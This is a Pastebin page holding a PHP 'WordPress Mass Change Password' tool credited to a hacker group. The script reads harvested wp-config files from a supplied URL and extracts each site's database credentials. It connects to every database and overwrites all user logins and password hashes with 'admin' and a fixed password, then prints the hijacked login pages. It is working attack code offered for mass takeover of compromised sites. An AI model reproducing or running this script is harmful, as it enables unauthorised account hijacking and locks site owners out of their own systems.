Advertisement
Rajaouips

WP Pass Changer

Apr 1st, 2017
327
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.97 KB | None | 0 0
  1. <html>
  2. <head>
  3.     <title>Wordpress Mass Change Password</title>
  4.     <link href="http://i.imgur.com/QZW15QW.png" rel="icon">
  5.     <style type="text/css">
  6.    
  7.     @import 'https://fonts.googleapis.com/css?family=Oswald';
  8. html,body{
  9.     background: #f9f9f9;
  10.     padding: 0;
  11.     direction: ltr;
  12.     margin: 0;
  13. }
  14. h1{
  15.     color:#16a085;
  16.     text-shadow:0 0 5px;
  17.     font-family: 'Oswald', sans-serif;
  18. }
  19. #gter{
  20.     position: absolute;
  21.     top: 0;
  22.     width: 100%;
  23.     text-align: center;
  24.     background: #16a085;
  25.     color:#fff;
  26.     padding-top: 10px;
  27.     padding-bottom: 10px;
  28.     font-family: 'Oswald', sans-serif;
  29.     border-top: 5px solid #2980b9;
  30.     border-bottom: 5px solid #2c3e50;
  31.     margin-bottom:20px;
  32. }
  33. .f{
  34.     color:#666;
  35.     text-shadow: 0 0 5px #00ff00;
  36.     font-size: 20px;
  37. }
  38. a{
  39.     text-decoration: none;
  40.     color:#ff0000;
  41.     text-shadow:0 0 5px;
  42. }
  43. form{
  44.     margin-top: 120px;
  45. }
  46. input[type=submit]{
  47.     padding: 10px;
  48.     border:1px solid #ccc;
  49.     background: #f9f9f9;
  50.     border-radius: 5px;
  51.     cursor: pointer;
  52.     color:#000;
  53.     transition: all 0.2s;
  54.     font-family: 'Oswald', sans-serif;
  55. }
  56. input[type=submit]:hover{
  57.     box-shadow: 0 0 2px #ff0000;
  58. }
  59. input[type=text]{
  60.     font-family: 'Oswald', sans-serif;
  61.     color:#000;
  62.     border:1px solid #ccc;
  63.     background: #f9f9f9;
  64.     padding: 10px;
  65.     width: 400px;
  66.     transition: all 0.5s;
  67. }  
  68. input[type=text]:focus{
  69.     box-shadow: 0 0 3px #ff0000;
  70. }
  71.    
  72.    
  73.     </style>
  74. </head>
  75. <body>
  76. <center>
  77. <div id="gter">Coded By Rajaoui PS || Greets To : Sh4d0wz Memberz</div>
  78. <form method="post">
  79. <input type="text" name="config" placeholder="URL">
  80. <input type="submit" name="ch" value="Change">
  81. </form>
  82. </center>
  83. <?
  84. set_time_limit(0);
  85. error_reporting(0);
  86. if($_POST['ch']){
  87. $get2 = file_get_contents($_POST['config']);
  88. preg_match_all('#<a href="(.*?)"#', $get2, $config);
  89. foreach($config[1] as $don){
  90. $get = file_get_contents($_POST['config']."/".$don);
  91.  
  92. preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
  93. foreach($host[1] as $don){
  94.     $host = $don;
  95. }
  96. ###
  97. preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
  98. foreach($pass[1] as $done){
  99.     $password = $done;
  100. }
  101. ###
  102. preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
  103. foreach($user[1] as $done1){
  104.     $user = $done1;
  105. }
  106. ###
  107. preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
  108. foreach($name[1] as $done2){
  109.     $name = $done2;
  110. }
  111. ###
  112. preg_match_all("#$table_prefix  = '(.*?)'#", $get, $prefix);
  113. foreach($prefix[1] as $done3){
  114.     $prefix = $done3;
  115. }
  116. $connect = mysqli_connect($host,$user,$password,$name);
  117. if($connect){
  118.     $query1 = mysqli_query($connect,"select * from ".$prefix."options where option_name='siteurl'");
  119. while($siteurl = mysqli_fetch_array($query1)){
  120.     $site_url = $siteurl['option_value'];
  121. }
  122. #####
  123. $query2 = mysqli_query($connect,"update ".$prefix."users set user_login='admin',user_pass='32abd80c3cfeb4fc2bc028990d030874'");
  124. if($query2){
  125.     echo "<center><span class=f>URL : <a href='$site_url/wp-login.php' target='_blank'>$site_url</a><br><br>UserName : admin<br><br>Password : Sh4d0wz<br><br></span></center>";
  126. }
  127. }
  128. }
  129. }
  130. ?>
  131. </body>
  132. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement